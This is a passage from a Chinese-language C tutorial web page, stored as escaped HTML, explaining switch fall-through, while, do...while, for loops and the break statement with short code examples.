\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;True\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Illegal\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ecase 0\u003c/code\u003e的部分没有\u003ccode\u003ebreak\u003c/code\u003e语句,导致这个分支执行完以后,不会跳出\u003ccode\u003eswitch\u003c/code\u003e结构,继续执行\u003ccode\u003ecase 1\u003c/code\u003e分支。\u003c/p\u003e\u003cp\u003e利用这个特点,如果多个\u003ccode\u003ecase\u003c/code\u003e分支对应同样的语句体,可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e (grade) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;True\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Illegal\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ecase 0\u003c/code\u003e分支没有任何语句,导致\u003ccode\u003ecase 0\u003c/code\u003e和\u003ccode\u003ecase 1\u003c/code\u003e都会执行同样的语句体。\u003c/p\u003e\u003cp\u003e\u003ccode\u003ecase\u003c/code\u003e后面的语句体,不用放在大括号里面,这也是为什么需要\u003ccode\u003ebreak\u003c/code\u003e的原因。\u003c/p\u003e\u003cp\u003e\u003ccode\u003edefault\u003c/code\u003e分支用来处理前面的 case 都不匹配的情况,最好放在所有 case 的后面,这样就不用写\u003ccode\u003ebreak\u003c/code\u003e语句。这个分支是可选的,如果没有该分支,遇到所有的 case 都不匹配的情况,就会直接跳出整个 switch 代码块。\u003c/p\u003e\u003ch3 id=\"while-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#while-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"while 语句\"\u003e\u003c/a\u003ewhile 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ewhile\u003c/code\u003e语句用于循环结构,满足条件时,不断执行循环体。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (expression)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,如果表达式\u003ccode\u003eexpression\u003c/code\u003e为非零值(表示真),就会执行\u003ccode\u003estatement\u003c/code\u003e语句,然后再次判断\u003ccode\u003eexpression\u003c/code\u003e是否为零;如果\u003ccode\u003eexpression\u003c/code\u003e为零(表示伪)就跳出循环,不再执行循环体。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026lt; n)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i = i + \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只要\u003ccode\u003ei\u003c/code\u003e小于\u003ccode\u003en\u003c/code\u003e,\u003ccode\u003ei\u003c/code\u003e就会不断增加2。\u003c/p\u003e\u003cp\u003e如果循环体有多个语句,就需要使用大括号将这些语句组合在一起。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (expression) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;i is now %d!\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;All done!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,循环体会执行10次,每次将\u003ccode\u003ei\u003c/code\u003e增加\u003ccode\u003e1\u003c/code\u003e,直到等于\u003ccode\u003e10\u003c/code\u003e才退出循环。\u003c/p\u003e\u003cp\u003e只要条件为真,\u003ccode\u003ewhile\u003c/code\u003e会产生无限循环。下面是一种常见的无限循环的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的示例虽然是无限循环,但是循环体内部可以用\u003ccode\u003ebreak\u003c/code\u003e语句跳出循环。\u003c/p\u003e\u003ch3 id=\"do…while-结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#do%E2%80%A6while-%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"do…while 结构\"\u003e\u003c/a\u003edo…while 结构\u003c/h3\u003e\u003cp\u003e\u003ccode\u003edo...while\u003c/code\u003e结构是\u003ccode\u003ewhile\u003c/code\u003e的变体,它会先执行一次循环体,然后再判断是否满足条件。如果满足的话,就继续执行循环体,否则跳出循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e statement\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title function_\"\u003ewhile\u003c/span\u003e \u003cspan class=\"params\"\u003e(expression)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,不管条件\u003ccode\u003eexpression\u003c/code\u003e是否成立,循环体\u003ccode\u003estatement\u003c/code\u003e至少会执行一次。每次\u003ccode\u003estatement\u003c/code\u003e执行完毕,就会判断一次\u003ccode\u003eexpression\u003c/code\u003e,决定是否结束循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e --i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ei\u003c/code\u003e先减去1,再判断是否大于0。如果大于0,就继续减去1,直到\u003ccode\u003ei\u003c/code\u003e等于\u003ccode\u003e0\u003c/code\u003e为止。\u003c/p\u003e\u003cp\u003e如果循环部分有多条语句,就需要放在大括号里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;i is %d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;All done!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,变量\u003ccode\u003ei\u003c/code\u003e并不满足小于\u003ccode\u003e10\u003c/code\u003e的条件,但是循环体还是会执行一次。\u003c/p\u003e\u003ch3 id=\"for-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#for-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"for 语句\"\u003e\u003c/a\u003efor 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efor\u003c/code\u003e语句是最常用的循环结构,通常用于精确控制循环次数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (initialization; continuation; action)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e statement;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003efor\u003c/code\u003e语句的条件部分(即圆括号里面的部分)有三个表达式。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003einitialization\u003c/code\u003e:初始化表达式,用于初始化循环变量,只执行一次。\u003c/li\u003e\u003cli\u003e\u003ccode\u003econtinuation\u003c/code\u003e:判断表达式,只要为\u003ccode\u003etrue\u003c/code\u003e,就会不断执行循环体。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eaction\u003c/code\u003e:循环变量处理表达式,每轮循环结束后执行,使得循环变量发生变化。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e循环体部分的\u003ccode\u003estatement\u003c/code\u003e可以是一条语句,也可以是放在大括号里面的复合语句。下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;i is %d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,循环变量\u003ccode\u003ei\u003c/code\u003e在\u003ccode\u003efor\u003c/code\u003e的第一个表达式里面声明,该变量只用于本次循环。离开循环体之后,就会失效。\u003c/p\u003e\u003cp\u003e条件部分的三个表达式,每一个都可以有多个语句,语句与语句之间使用逗号分隔。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i, j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, j = \u003cspan class=\"number\"\u003e999\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e; i++, j--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d, %d\\n\u0026#34;\u003c/span\u003e, i, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,初始化部分有两个语句,分别对变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e进行赋值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efor\u003c/code\u003e的三个表达式都不是必需的,甚至可以全部省略,这会形成无限循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (;;) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;本行会无限循环地打印。\\n\u0026#34;\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例由于没有判断条件,就会形成无限循环。\u003c/p\u003e\u003ch3 id=\"break-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#break-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"break 语句\"\u003e\u003c/a\u003ebreak 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ebreak\u003c/code\u003e语句有两种用法。一种是与\u003ccode\u003eswitch\u003c/code\u003e语句配套使用,用来中断某个分支的执行,这种用法前面已经介绍过了。另一种用法是在循环体内部跳出循环,不再进行后面的循环了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d, %d\\n\u0026#34;\u003c/span\u003e, i, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ebreak\u003c/code\u003e语句使得循环跳到下一个\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) != EOF) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch == \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan 